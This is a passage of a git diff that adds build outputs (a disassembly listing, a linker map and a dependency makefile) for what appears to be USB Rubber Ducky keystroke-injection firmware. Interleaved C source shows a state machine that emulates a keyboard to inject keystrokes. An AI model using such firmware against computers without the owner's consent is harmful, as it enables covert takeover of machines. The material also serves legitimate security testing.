r8,800079a4 +8000792a: 11 9c ld.ub r12,r8[0x1] +8000792c: f0 1f 00 20 mcall 800079ac + state = state_MOD_KEY_UP; +80007930: 30 79 mov r9,7 +80007932: 49 68 lddpc r8,80007988 +80007934: 91 09 st.w r8[0x0],r9 + break; +80007936: e3 cd 80 80 ldm sp++,r7,pc + + case state_MOD_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); +8000793a: 49 b8 lddpc r8,800079a4 +8000793c: 11 9c ld.ub r12,r8[0x1] +8000793e: f0 1f 00 1d mcall 800079b0 + state = state_MOD_UP; +80007942: 30 89 mov r9,8 +80007944: 49 18 lddpc r8,80007988 +80007946: 91 09 st.w r8[0x0],r9 + break; +80007948: e3 cd 80 80 ldm sp++,r7,pc + + case state_MOD_UP: + udi_hid_kbd_modifier_up(injectToken>>8); +8000794c: 49 68 lddpc r8,800079a4 +8000794e: 11 8c ld.ub r12,r8[0x0] +80007950: f0 1f 00 1a mcall 800079b8 + state = state_INJECTING; +80007954: 30 29 mov r9,2 +80007956: 48 d8 lddpc r8,80007988 +80007958: 91 09 st.w r8[0x0],r9 + break; +8000795a: e3 cd 80 80 ldm sp++,r7,pc + + case state_WAIT: + if( --wait == 0 ) { +8000795e: 49 39 lddpc r9,800079a8 +80007960: 13 88 ld.ub r8,r9[0x0] +80007962: 20 18 sub r8,1 +80007964: 5c 58 castu.b r8 +80007966: b2 88 st.b r9[0x0],r8 +80007968: c0 91 brne 8000797a + state = state_INJECTING; +8000796a: 30 29 mov r9,2 +8000796c: 48 78 lddpc r8,80007988 +8000796e: 91 09 st.w r8[0x0],r9 +80007970: e3 cd 80 80 ldm sp++,r7,pc + } + break; + + default: + state = state_IDLE; +80007974: 30 09 mov r9,0 +80007976: 48 58 lddpc r8,80007988 +80007978: 91 09 st.w r8[0x0],r9 +8000797a: e3 cd 80 80 ldm sp++,r7,pc +8000797e: 00 00 add r0,r0 +80007980: 00 00 add r0,r0 +80007982: 01 fb ld.ub r11,r0[0x7] +80007984: 00 00 add r0,r0 +80007986: 01 fc ld.ub r12,r0[0x7] +80007988: 00 00 add r0,r0 +8000798a: 00 e0 st.h --r0,r0 +8000798c: 80 00 ld.sh r0,r0[0x0] +8000798e: 7f 1c ld.w r12,pc[0x44] +80007990: 80 00 ld.sh r0,r0[0x0] +80007992: 2f 40 sub r0,-12 +80007994: 80 00 ld.sh r0,r0[0x0] +80007996: 5f 80 srls r0 +80007998: 80 00 ld.sh r0,r0[0x0] +8000799a: 5e b4 rethi r4 +8000799c: 80 00 ld.sh r0,r0[0x0] +8000799e: 5e d8 retvc r8 +800079a0: 80 00 ld.sh r0,r0[0x0] +800079a2: 5f 14 srne r4 +800079a4: 00 00 add r0,r0 +800079a6: 01 f8 ld.ub r8,r0[0x7] +800079a8: 00 00 add r0,r0 +800079aa: 01 fa ld.ub r10,r0[0x7] +800079ac: 80 00 ld.sh r0,r0[0x0] +800079ae: 6c 34 ld.w r4,r6[0xc] +800079b0: 80 00 ld.sh r0,r0[0x0] +800079b2: 6c ac ld.w r12,r6[0x28] +800079b4: 80 00 ld.sh r0,r0[0x0] +800079b6: 6d 44 ld.w r4,r6[0x50] +800079b8: 80 00 ld.sh r0,r0[0x0] +800079ba: 6d 74 ld.w r4,r6[0x5c] + +800079bc : +{ +} + +//------------------------------------------------------------------- +void main_sof_action(void) +{ +800079bc: d4 01 pushm lr + process_frame( udd_get_frame_number() ); +800079be: f0 1f 00 04 mcall 800079cc +800079c2: 5c 7c castu.h r12 +800079c4: f0 1f 00 03 mcall 800079d0 + +} +800079c8: d8 02 popm pc +800079ca: 00 00 add r0,r0 +800079cc: 80 00 ld.sh r0,r0[0x0] +800079ce: 32 30 mov r0,35 +800079d0: 80 00 ld.sh r0,r0[0x0] +800079d2: 78 20 ld.w r0,r12[0x8] + +800079d4 : +800079d4: d4 01 pushm lr +800079d6: 30 08 mov r8,0 +800079d8: c0 d8 rjmp 800079f2 +800079da: f8 08 07 0e ld.ub lr,r12[r8] +800079de: f6 08 07 09 ld.ub r9,r11[r8] +800079e2: 20 1a sub r10,1 +800079e4: 2f f8 sub r8,-1 +800079e6: f2 0e 18 00 cp.b lr,r9 +800079ea: c0 40 breq 800079f2 +800079ec: fc 09 01 0c sub r12,lr,r9 +800079f0: d8 02 popm pc +800079f2: 58 0a cp.w r10,0 +800079f4: cf 31 brne 800079da +800079f6: 14 9c mov r12,r10 +800079f8: d8 02 popm pc + +800079fa : +800079fa: 58 8a cp.w r10,8 +800079fc: c2 f5 brlt 80007a5a +800079fe: f9 eb 10 09 or r9,r12,r11 +80007a02: e2 19 00 03 andl r9,0x3,COH +80007a06: e0 81 00 97 brne 80007b34 +80007a0a: e0 4a 00 20 cp.w r10,32 +80007a0e: c3 b4 brge 80007a84 +80007a10: f4 08 14 02 asr r8,r10,0x2 +80007a14: f0 09 11 08 rsub r9,r8,8 +80007a18: fe 09 00 2f add pc,pc,r9<<0x2 +80007a1c: 76 69 ld.w r9,r11[0x18] +80007a1e: 99 69 st.w r12[0x18],r9 +80007a20: 76 59 ld.w r9,r11[0x14] +80007a22: 99 59 st.w r12[0x14],r9 +80007a24: 76 49 ld.w r9,r11[0x10] +80007a26: 99 49 st.w r12[0x10],r9 +80007a28: 76 39 ld.w r9,r11[0xc] +80007a2a: 99 39 st.w r12[0xc],r9 +80007a2c: 76 29 ld.w r9,r11[0x8] +80007a2e: 99 29 st.w r12[0x8],r9 +80007a30: 76 19 ld.w r9,r11[0x4] +80007a32: 99 19 st.w r12[0x4],r9 +80007a34: 76 09 ld.w r9,r11[0x0] +80007a36: 99 09 st.w r12[0x0],r9 +80007a38: f6 08 00 2b add r11,r11,r8<<0x2 +80007a3c: f8 08 00 28 add r8,r12,r8<<0x2 +80007a40: e0 1a 00 03 andl r10,0x3 +80007a44: f4 0a 11 04 rsub r10,r10,4 +80007a48: fe 0a 00 2f add pc,pc,r10<<0x2 +80007a4c: 17 a9 ld.ub r9,r11[0x2] +80007a4e: b0 a9 st.b r8[0x2],r9 +80007a50: 17 99 ld.ub r9,r11[0x1] +80007a52: b0 99 st.b r8[0x1],r9 +80007a54: 17 89 ld.ub r9,r11[0x0] +80007a56: b0 89 st.b r8[0x0],r9 +80007a58: 5e fc retal r12 +80007a5a: f4 0a 11 09 rsub r10,r10,9 +80007a5e: fe 0a 00 2f add pc,pc,r10<<0x2 +80007a62: 17 f9 ld.ub r9,r11[0x7] +80007a64: b8 f9 st.b r12[0x7],r9 +80007a66: 17 e9 ld.ub r9,r11[0x6] +80007a68: b8 e9 st.b r12[0x6],r9 +80007a6a: 17 d9 ld.ub r9,r11[0x5] +80007a6c: b8 d9 st.b r12[0x5],r9 +80007a6e: 17 c9 ld.ub r9,r11[0x4] +80007a70: b8 c9 st.b r12[0x4],r9 +80007a72: 17 b9 ld.ub r9,r11[0x3] +80007a74: b8 b9 st.b r12[0x3],r9 +80007a76: 17 a9 ld.ub r9,r11[0x2] +80007a78: b8 a9 st.b r12[0x2],r9 +80007a7a: 17 99 ld.ub r9,r11[0x1] +80007a7c: b8 99 st.b r12[0x1],r9 +80007a7e: 17 89 ld.ub r9,r11[0x0] +80007a80: b8 89 st.b r12[0x0],r9 +80007a82: 5e fc retal r12 +80007a84: eb cd 40 c0 pushm r6-r7,lr +80007a88: 18 99 mov r9,r12 +80007a8a: 22 0a sub r10,32 +80007a8c: b7 07 ld.d r6,r11++ +80007a8e: b3 26 st.d r9++,r6 +80007a90: b7 07 ld.d r6,r11++ +80007a92: b3 26 st.d r9++,r6 +80007a94: b7 07 ld.d r6,r11++ +80007a96: b3 26 st.d r9++,r6 +80007a98: b7 07 ld.d r6,r11++ +80007a9a: b3 26 st.d r9++,r6 +80007a9c: 22 0a sub r10,32 +80007a9e: cf 74 brge 80007a8c +80007aa0: 2f 0a sub r10,-16 +80007aa2: c0 65 brlt 80007aae +80007aa4: b7 07 ld.d r6,r11++ +80007aa6: b3 26 st.d r9++,r6 +80007aa8: b7 07 ld.d r6,r11++ +80007aaa: b3 26 st.d r9++,r6 +80007aac: 21 0a sub r10,16 +80007aae: 5c 3a neg r10 +80007ab0: fe 0a 00 3f add pc,pc,r10<<0x3 +80007ab4: d7 03 nop +80007ab6: d7 03 nop +80007ab8: f7 36 00 0e ld.ub r6,r11[14] +80007abc: f3 66 00 0e st.b r9[14],r6 +80007ac0: f7 36 00 0d ld.ub r6,r11[13] +80007ac4: f3 66 00 0d st.b r9[13],r6 +80007ac8: f7 36 00 0c ld.ub r6,r11[12] +80007acc: f3 66 00 0c st.b r9[12],r6 +80007ad0: f7 36 00 0b ld.ub r6,r11[11] +80007ad4: f3 66 00 0b st.b r9[11],r6 +80007ad8: f7 36 00 0a ld.ub r6,r11[10] +80007adc: f3 66 00 0a st.b r9[10],r6 +80007ae0: f7 36 00 09 ld.ub r6,r11[9] +80007ae4: f3 66 00 09 st.b r9[9],r6 +80007ae8: f7 36 00 08 ld.ub r6,r11[8] +80007aec: f3 66 00 08 st.b r9[8],r6 +80007af0: f7 36 00 07 ld.ub r6,r11[7] +80007af4: f3 66 00 07 st.b r9[7],r6 +80007af8: f7 36 00 06 ld.ub r6,r11[6] +80007afc: f3 66 00 06 st.b r9[6],r6 +80007b00: f7 36 00 05 ld.ub r6,r11[5] +80007b04: f3 66 00 05 st.b r9[5],r6 +80007b08: f7 36 00 04 ld.ub r6,r11[4] +80007b0c: f3 66 00 04 st.b r9[4],r6 +80007b10: f7 36 00 03 ld.ub r6,r11[3] +80007b14: f3 66 00 03 st.b r9[3],r6 +80007b18: f7 36 00 02 ld.ub r6,r11[2] +80007b1c: f3 66 00 02 st.b r9[2],r6 +80007b20: f7 36 00 01 ld.ub r6,r11[1] +80007b24: f3 66 00 01 st.b r9[1],r6 +80007b28: f7 36 00 00 ld.ub r6,r11[0] +80007b2c: f3 66 00 00 st.b r9[0],r6 +80007b30: e3 cd 80 c0 ldm sp++,r6-r7,pc +80007b34: 20 1a sub r10,1 +80007b36: f6 0a 07 09 ld.ub r9,r11[r10] +80007b3a: f8 0a 0b 09 st.b r12[r10],r9 +80007b3e: cf b1 brne 80007b34 +80007b40: 5e fc retal r12 + +80007b42 : +80007b42: 18 98 mov r8,r12 +80007b44: c0 38 rjmp 80007b4a +80007b46: 10 cb st.b r8++,r11 +80007b48: 20 1a sub r10,1 +80007b4a: 58 0a cp.w r10,0 +80007b4c: cf d1 brne 80007b46 +80007b4e: 5e fc retal r12 + +Disassembly of section .exception: + +80007c00 <_evba>: +80007c00: c0 08 rjmp 80007c00 <_evba> + ... + +80007c04 <_handle_TLB_Multiple_Hit>: +80007c04: c0 08 rjmp 80007c04 <_handle_TLB_Multiple_Hit> + ... + +80007c08 <_handle_Bus_Error_Data_Fetch>: +80007c08: c0 08 rjmp 80007c08 <_handle_Bus_Error_Data_Fetch> + ... + +80007c0c <_handle_Bus_Error_Instruction_Fetch>: +80007c0c: c0 08 rjmp 80007c0c <_handle_Bus_Error_Instruction_Fetch> + ... + +80007c10 <_handle_NMI>: +80007c10: c0 08 rjmp 80007c10 <_handle_NMI> + ... + +80007c14 <_handle_Instruction_Address>: +80007c14: c0 08 rjmp 80007c14 <_handle_Instruction_Address> + ... + +80007c18 <_handle_ITLB_Protection>: +80007c18: c0 08 rjmp 80007c18 <_handle_ITLB_Protection> + ... + +80007c1c <_handle_Breakpoint>: +80007c1c: c0 08 rjmp 80007c1c <_handle_Breakpoint> + ... + +80007c20 <_handle_Illegal_Opcode>: +80007c20: c0 08 rjmp 80007c20 <_handle_Illegal_Opcode> + ... + +80007c24 <_handle_Unimplemented_Instruction>: +80007c24: c0 08 rjmp 80007c24 <_handle_Unimplemented_Instruction> + ... + +80007c28 <_handle_Privilege_Violation>: +80007c28: c0 08 rjmp 80007c28 <_handle_Privilege_Violation> + ... + +80007c2c <_handle_Floating_Point>: +80007c2c: c0 08 rjmp 80007c2c <_handle_Floating_Point> + ... + +80007c30 <_handle_Coprocessor_Absent>: +80007c30: c0 08 rjmp 80007c30 <_handle_Coprocessor_Absent> + ... + +80007c34 <_handle_Data_Address_Read>: +80007c34: c0 08 rjmp 80007c34 <_handle_Data_Address_Read> + ... + +80007c38 <_handle_Data_Address_Write>: +80007c38: c0 08 rjmp 80007c38 <_handle_Data_Address_Write> + ... + +80007c3c <_handle_DTLB_Protection_Read>: +80007c3c: c0 08 rjmp 80007c3c <_handle_DTLB_Protection_Read> + ... + +80007c40 <_handle_DTLB_Protection_Write>: +80007c40: c0 08 rjmp 80007c40 <_handle_DTLB_Protection_Write> + ... + +80007c44 <_handle_DTLB_Modified>: +80007c44: c0 08 rjmp 80007c44 <_handle_DTLB_Modified> + ... + +80007c50 <_handle_ITLB_Miss>: +80007c50: c0 08 rjmp 80007c50 <_handle_ITLB_Miss> + ... + +80007c60 <_handle_DTLB_Miss_Read>: +80007c60: c0 08 rjmp 80007c60 <_handle_DTLB_Miss_Read> + ... + +80007c70 <_handle_DTLB_Miss_Write>: +80007c70: c0 08 rjmp 80007c70 <_handle_DTLB_Miss_Write> + ... + +80007d00 <_handle_Supervisor_Call>: +80007d00: c0 08 rjmp 80007d00 <_handle_Supervisor_Call> +80007d02: d7 03 nop + +80007d04 <_int0>: +80007d04: 30 0c mov r12,0 +80007d06: fe b0 d9 6b rcall 80002fdc <_get_interrupt_handler> +80007d0a: 58 0c cp.w r12,0 +80007d0c: f8 0f 17 10 movne pc,r12 +80007d10: d6 03 rete + +80007d12 <_int1>: +80007d12: 30 1c mov r12,1 +80007d14: fe b0 d9 64 rcall 80002fdc <_get_interrupt_handler> +80007d18: 58 0c cp.w r12,0 +80007d1a: f8 0f 17 10 movne pc,r12 +80007d1e: d6 03 rete + +80007d20 <_int2>: +80007d20: 30 2c mov r12,2 +80007d22: fe b0 d9 5d rcall 80002fdc <_get_interrupt_handler> +80007d26: 58 0c cp.w r12,0 +80007d28: f8 0f 17 10 movne pc,r12 +80007d2c: d6 03 rete + +80007d2e <_int3>: +80007d2e: 30 3c mov r12,3 +80007d30: fe b0 d9 56 rcall 80002fdc <_get_interrupt_handler> +80007d34: 58 0c cp.w r12,0 +80007d36: f8 0f 17 10 movne pc,r12 +80007d3a: d6 03 rete + +80007d3c : +80007d3c: 00 00 01 04 40 00 01 12 80 00 01 20 c0 00 01 2e ....@...... .... +80007d4c: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007d5c: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007d6c: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007d7c: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007d8c: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007d9c: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007dac: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007dbc: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007dcc: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007ddc: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007dec: d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 d7 03 ................ +80007dfc: d7 03 d7 03 .... diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.map b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.map new file mode 100644 index 0000000..f594956 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.map @@ -0,0 +1,2259 @@ +Archive member included because of file (symbol) + +c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libc.a(lib_a-ctype_.o) + src/asf/avr32/services/fs/fat/navigation.o (__ctype_ptr) +c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libc.a(lib_a-memcmp.o) + src/asf/avr32/services/fs/fat/fat_unusual.o (memcmp) +c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libc.a(lib_a-memcpy.o) + src/asf/avr32/services/fs/fat/fat.o (memcpy) +c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libc.a(lib_a-memset.o) + src/asf/avr32/services/fs/fat/fat.o (memset) + +Allocating common symbols +Common symbol size file + +g_segment_dest 0xc src/asf/avr32/services/fs/fat/navigation.o +fs_gu32_addrsector 0x4 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0x00000000 0x0 src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o + .data 0x00000000 0x0 src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o + .bss 0x00000000 0x0 src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o + .text 0x00000000 0x0 src/asf/common/services/usb/class/hid/device/udi_hid.o + .data 0x00000000 0x0 src/asf/common/services/usb/class/hid/device/udi_hid.o + .bss 0x00000000 0x0 src/asf/common/services/usb/class/hid/device/udi_hid.o + .text 0x00000000 0x0 src/asf/common/services/usb/udc/udc.o + .data 0x00000000 0x0 src/asf/common/services/usb/udc/udc.o + .bss 0x00000000 0x0 src/asf/common/services/usb/udc/udc.o + .text 0x00000000 0x0 src/main.o + .data 0x00000000 0x0 src/main.o + .bss 0x00000000 0x0 src/main.o + .text 0x00000000 0x0 c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libc.a(lib_a-ctype_.o) + .data 0x00000000 0x0 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0x00007ffc axw !rl +USERPAGE 0x80800000 0x00000200 +*default* 0x00000000 0xffffffff + +Linker script and memory map + + 0x00001000 _stack_size = 0x1000 +LOAD src/asf/avr32/boards/evk1101/init.o +LOAD src/asf/avr32/boards/evk1101/led.o +LOAD src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o +LOAD src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o +LOAD src/asf/avr32/drivers/flashc/flashc.o +LOAD src/asf/avr32/drivers/gpio/gpio.o +LOAD src/asf/avr32/drivers/intc/exception.o +LOAD src/asf/avr32/drivers/intc/intc.o +LOAD src/asf/avr32/drivers/pm/pm.o +LOAD src/asf/avr32/drivers/pm/pm_conf_clocks.o +LOAD src/asf/avr32/drivers/pm/power_clocks_lib.o +LOAD src/asf/avr32/drivers/spi/spi.o +LOAD src/asf/avr32/drivers/usbb/usbb_device.o +LOAD src/asf/avr32/services/fs/fat/fat.o +LOAD src/asf/avr32/services/fs/fat/fat_unusual.o +LOAD src/asf/avr32/services/fs/fat/file.o +LOAD src/asf/avr32/services/fs/fat/navigation.o +LOAD src/asf/avr32/utils/startup/startup_uc3.o +LOAD src/asf/avr32/utils/startup/trampoline_uc3.o +LOAD src/asf/common/services/clock/uc3b0_b1/sysclk.o +LOAD src/asf/common/services/sleepmgr/uc3/sleepmgr.o +LOAD src/asf/common/services/storage/ctrl_access/ctrl_access.o +LOAD src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o +LOAD src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o +LOAD src/asf/common/services/usb/class/hid/device/udi_hid.o +LOAD src/asf/common/services/usb/udc/udc.o +LOAD src/main.o +LOAD c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libm.a +LOAD c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/ucr1\libgcc.a +LOAD c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libc.a +LOAD c:/program files (x86)/atmel/avr studio 5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/ucr1\libgcc.a + 0xffffffff __max_heap_size__ = 0xffffffff + [0xffffffff] __heap_size__ = DEFINED (__heap_size__)?__heap_size__:__max_heap_size__ + [0x00001000] __stack_size__ = DEFINED (__stack_size__)?__stack_size__:0x1000 + 0x80000000 PROVIDE (__executable_start, 0x80000000) + 0x80000000 . = 0x80000000 + +.interp + *(.interp) + +.reset 0x80000000 0x2004 + *(.reset) + .reset 0x80000000 0x2004 src/asf/avr32/utils/startup/trampoline_uc3.o + 0x2008 (size before relaxing) + 0x80000000 _trampoline + +.hash + *(.hash) + +.dynsym + *(.dynsym) + +.dynstr + *(.dynstr) + +.gnu.version + *(.gnu.version) + +.gnu.version_d + *(.gnu.version_d) + +.gnu.version_r + *(.gnu.version_r) + +.rel.init + *(.rel.init) + +.rela.init + *(.rela.init) + +.rel.text + *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) + +.rela.text + *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) + +.rel.fini + *(.rel.fini) + +.rela.fini + *(.rela.fini) + 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src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x80002240 sd_mmc_spi_wait_not_busy + .text.sd_mmc_spi_write_open + 0x80002298 0x18 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x80002298 sd_mmc_spi_write_open + .text.sd_mmc_spi_read_close + 0x800022b0 0x10 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x800022b0 sd_mmc_spi_read_close + .text.sd_mmc_spi_read_open + 0x800022c0 0x18 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x800022c0 sd_mmc_spi_read_open + .text.sd_mmc_spi_command + 0x800022d8 0xc8 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x800022d8 sd_mmc_spi_command + .text.sd_mmc_spi_send_command + 0x800023a0 0x40 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x800023a0 sd_mmc_spi_send_command + .text.sd_mmc_spi_check_presence + 0x800023e0 0x7c src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x800023e0 sd_mmc_spi_check_presence + .text.sd_mmc_spi_write_sector_from_ram + 0x8000245c 0x14c src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x8000245c sd_mmc_spi_write_sector_from_ram + .text.sd_mmc_spi_check_hc + 0x800025a8 0x8c src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x800025a8 sd_mmc_spi_check_hc + .text.sd_mmc_spi_get_if + 0x80002634 0xb8 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x80002634 sd_mmc_spi_get_if + .text.sd_mmc_spi_read_sector_to_ram + 0x800026ec 0x150 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x800026ec sd_mmc_spi_read_sector_to_ram + .text.sd_mmc_spi_get_csd + 0x8000283c 0xf4 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x8000283c sd_mmc_spi_get_csd + .text.sd_mmc_spi_internal_init + 0x80002930 0x2a8 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x80002930 sd_mmc_spi_internal_init + .text.sd_mmc_spi_mem_check + 0x80002bd8 0x30 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x80002bd8 sd_mmc_spi_mem_check + .text.sd_mmc_spi_init + 0x80002c08 0x34 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o + 0x80002c08 sd_mmc_spi_init + .text.sd_mmc_spi_wr_protect + 0x80002c3c 0x2 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o + 0x80002c3c sd_mmc_spi_wr_protect + .text.sd_mmc_spi_removal + 0x80002c3e 0x2 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o + 0x80002c3e sd_mmc_spi_removal + .text.sd_mmc_spi_test_unit_ready + 0x80002c40 0x78 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o + 0x80002c40 sd_mmc_spi_test_unit_ready + .text.sd_mmc_spi_mem_init + 0x80002cb8 0xc src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o + 0x80002cb8 sd_mmc_spi_mem_init + .text.sd_mmc_spi_ram_2_mem + 0x80002cc4 0x68 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o + 0x80002cc4 sd_mmc_spi_ram_2_mem + .text.sd_mmc_spi_mem_2_ram + 0x80002d2c 0x64 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o + 0x80002d2c sd_mmc_spi_mem_2_ram + .text.sd_mmc_spi_read_capacity + 0x80002d90 0x40 src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o + 0x80002d90 sd_mmc_spi_read_capacity + .text.flashc_set_wait_state + 0x80002dd0 0xe src/asf/avr32/drivers/flashc/flashc.o + 0x80002dd0 flashc_set_wait_state + *fill* 0x80002dde 0x2 d703d703 + .text.flashc_set_bus_freq + 0x80002de0 0x24 src/asf/avr32/drivers/flashc/flashc.o + 0x80002de0 flashc_set_bus_freq + .text.gpio_enable_module_pin + 0x80002e04 0x52 src/asf/avr32/drivers/gpio/gpio.o + 0x80002e04 gpio_enable_module_pin + *fill* 0x80002e56 0x2 d703d703 + .text.gpio_enable_module + 0x80002e58 0x30 src/asf/avr32/drivers/gpio/gpio.o + 0x80002e58 gpio_enable_module + .text.gpio_configure_pin + 0x80002e88 0xb8 src/asf/avr32/drivers/gpio/gpio.o + 0x80002e88 gpio_configure_pin + .text.gpio_get_pin_value + 0x80002f40 0x16 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src/asf/avr32/drivers/usbb/usbb_device.o + .text.udd_ctrl_send_zlp_in + 0x80003540 0x2c src/asf/avr32/drivers/usbb/usbb_device.o + .text.udd_reset_ep_ctrl + 0x8000356c 0x6a src/asf/avr32/drivers/usbb/usbb_device.o + *fill* 0x800035d6 0x2 d703d703 + .text.udd_attach + 0x800035d8 0x78 src/asf/avr32/drivers/usbb/usbb_device.o + 0x800035d8 udd_attach + .text.udd_ctrl_in_sent + 0x80003650 0x13c src/asf/avr32/drivers/usbb/usbb_device.o + .text.udd_enable + 0x8000378c 0xf8 src/asf/avr32/drivers/usbb/usbb_device.o + 0x8000378c udd_enable + .text.udd_ep_run + 0x80003884 0x10c src/asf/avr32/drivers/usbb/usbb_device.o + 0x80003884 udd_ep_run + .text.udd_interrupt + 0x80003990 0x550 src/asf/avr32/drivers/usbb/usbb_device.o + .text.fat_check_open + 0x80003ee0 0x20 src/asf/avr32/services/fs/fat/fat.o + 0x80003ee0 fat_check_open + .text.fat_check_select + 0x80003f00 0x20 src/asf/avr32/services/fs/fat/fat.o + 0x80003f00 fat_check_select + .text.fat_check_is_file + 0x80003f20 0x1c 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5.1/extensions/atmel/avrgcc/3.3.1.27/avrtoolchain/bin/../lib/gcc/avr32/4.4.3/../../../../avr32/lib/ucr1\libc.a(lib_a-memset.o) diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/makedep.mk b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/makedep.mk new file mode 100644 index 0000000..c0d1982 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/makedep.mk @@ -0,0 +1,58 @@ +################################################################################ +# Automatically-generated file. Do not edit or delete the file +################################################################################ + +src\asf\avr32\boards\evk1101\init.c + +src\asf\avr32\boards\evk1101\led.c + +src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi.c + +src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi_mem.c + +src\asf\avr32\drivers\flashc\flashc.c + +src\asf\avr32\drivers\gpio\gpio.c + +src\asf\avr32\drivers\intc\exception.S + +src\asf\avr32\drivers\intc\intc.c + +src\asf\avr32\drivers\pm\pm.c + +src\asf\avr32\drivers\pm\pm_conf_clocks.c + +src\asf\avr32\drivers\pm\power_clocks_lib.c + +src\asf\avr32\drivers\spi\spi.c + +src\asf\avr32\drivers\usbb\usbb_device.c + +src\asf\avr32\services\fs\fat\fat.c + +src\asf\avr32\services\fs\fat\fat_unusual.c + +src\asf\avr32\services\fs\fat\file.c + +src\asf\avr32\services\fs\fat\navigation.c + +src\asf\avr32\utils\startup\startup_uc3.S + +src\asf\avr32\utils\startup\trampoline_uc3.S + +src\asf\common\services\clock\uc3b0_b1\sysclk.c + +src\asf\common\services\sleepmgr\uc3\sleepmgr.c + +src\asf\common\services\storage\ctrl_access\ctrl_access.c + +src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd.c + 